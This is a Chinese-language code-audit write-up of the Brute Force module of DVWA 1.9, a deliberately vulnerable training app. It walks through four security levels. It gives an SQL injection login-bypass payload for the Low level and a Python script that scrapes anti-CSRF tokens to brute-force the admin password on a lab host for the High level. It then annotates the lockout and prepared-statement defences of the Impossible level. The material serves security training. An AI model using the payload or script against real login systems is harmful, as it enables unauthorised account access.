DVWA1.9 (一) Brute Force代码审计

摘要

包含Brute Force四个级别（Low，Medium，High，Impossible），浅述了前三个级别的漏洞及其利用方式，着重解读了Impossible的代码

Low

简要：没有对用户输入做处理
漏洞：存在SQL注入
方案：在Username输入框中输入 ’ or 1=1 limit 1;# 即可实现注入

if( isset( $_GET[ 'Login' ] ) ) {
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // 此处可发现程序仅用md5处理了$pass，没有对$user的值进行处理有SQL注入漏洞，由下面 *标记* 可知通过验证需要使用账户信息查询到记录，并且条数为1，所以我们在Username处输入( ' or 1=1 limit 1;# )即可
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    if( $result && mysqli_num_rows( $result ) == 1 ) { // *标记*
        // 登录成功
    }
    else {
        // 登录失败
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

Medium

简要：在Low基础上修复了注入漏洞
漏洞：没有对爆破做限制
方案：使用Burp Suite工具爆破

// 在获取用户输入信息时，使用mysql_escape_string()处理特殊字符，以此抵御SQL注入
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

High

简要：在Medium基础上添加token认证机制防止CSRF攻击，一般爆破工具无法使用
方案：使用脚本破解

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    // 加入token认证机制，使用脚本破解
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 处理用户输入信息
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // 登录成功
    }
    else {
        // 登录失败
        sleep( rand( 0, 3 ) ); // 抑制大量暴破请求
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();
?>

py破解脚本

import requests
from bs4 import BeautifulSoup

_url = 'http://192.168.46.132/vulnerabilities/brute/index.php'
_headers = {
    'Host': '192.168.46.132',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
    'Cookie': 'PHPSESSID=fl74e405f4l5vmgmd7sb6dumu4; security=high',
    'Referer': 'http://192.168.46.132/vulnerabilities/brute/index.php'
}

# 获取网页token
def get_token(_url):
    r = requests.get(url=_url, headers=_headers)
    soup = BeautifulSoup(r.text, 'html.parser')
    token = soup.find('input', attrs={'name':'user_token'}).attrs['value']
    return token

pwd_list = ['aaaaaaaa','bbbbbbbb','cccccccc','password','dddddddd']

# 利用密码字典+token暴力破解
for pwd in pwd_list:
	# 构造url
    url = _url+'?username=admin&password= &Login=Login&user_token=TOKEN#'\
    .replace(' ', pwd).replace('TOKEN', get_token(_url))
    r = requests.get(url, headers=_headers)
    # 通过响应长度判断密码正确与否
    str = 'password:%s\t status:%d\t size:%d'%(pwd, r.status_code, len(r.text))
    print(str)

运行得到结果（密码为password时响应的结果size不一样，显然password是答案）

Impossible 代码浅析

简要：在High基础上，添加多次失败后锁定账户的机制，使得爆破无法有效进行
方案：暂无

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    // 检查客户端携带的token，防止CSRF攻击
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 处理用户输入信息
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user ); // 去掉反斜杆 '\'
    
    // 使用msyqli_real_escape_string()转义$user里存在的特殊字符，防止SQL注入
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // 同理 $user
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass ); // 使用md5()生成摘要

    // 默认值参数
    $total_failed_login = 3; // 默认允许登录失败次数
    $lockout_time       = 15; // 默认锁定时间（分钟）
    $account_locked     = false; // 默认未锁定

    // 获取当前用户$user登录信息（登陆失败次数，最后一次登录时间戳）
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // 如果$user存在，且失败登录次数超过允许登录失败次数，则锁定当前用户$user
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "

This account has been locked due to too many incorrect logins.
";

        $last_login = strtotime( $row[ 'last_login' ] ); // 获取最后一次登录的时间（秒）
        $timeout    = $last_login + ($lockout_time * 60); // 计算时间戳到达多少秒时可登录
        $timenow    = time(); // 获取当前时间戳

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "
";
        print "The timenow is: " . date ("h:i:s", $timenow) . "
";
        print "The timeout is: " . date ("h:i:s", $timeout) . "
";
        */

        // 如果当前时间戳小于可登录时间
        if( $timenow < $timeout ) {
            $account_locked = true; // 将账户置为锁定状态
            // print "The account is locked
";
        }
    }

    // 检查账号密码信息
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // 如果账户密码匹配成功，且账户未锁定
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // 登录成功，获取并显示相应信息
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];
        echo "
Welcome to the password protected area {$user}
";
        echo "{$avatar}\" />";

        // 如果存在多次登录失败导致锁定的情况，告知用户
        if( $failed_login >= $total_failed_login ) {
            echo "
Warning: Someone might of been brute forcing your account.
";
            echo "
Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
        }

        // 重置登录失败次数
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // 如果用户信息错误，登录失败
        
        // 停顿一定时间，抑制大量爆破请求
        sleep( rand( 2, 4 ) );
        // Give the user some feedback
        echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";

        // 登录失败次数+1
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // 更新最后一次登录时间
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();
?>

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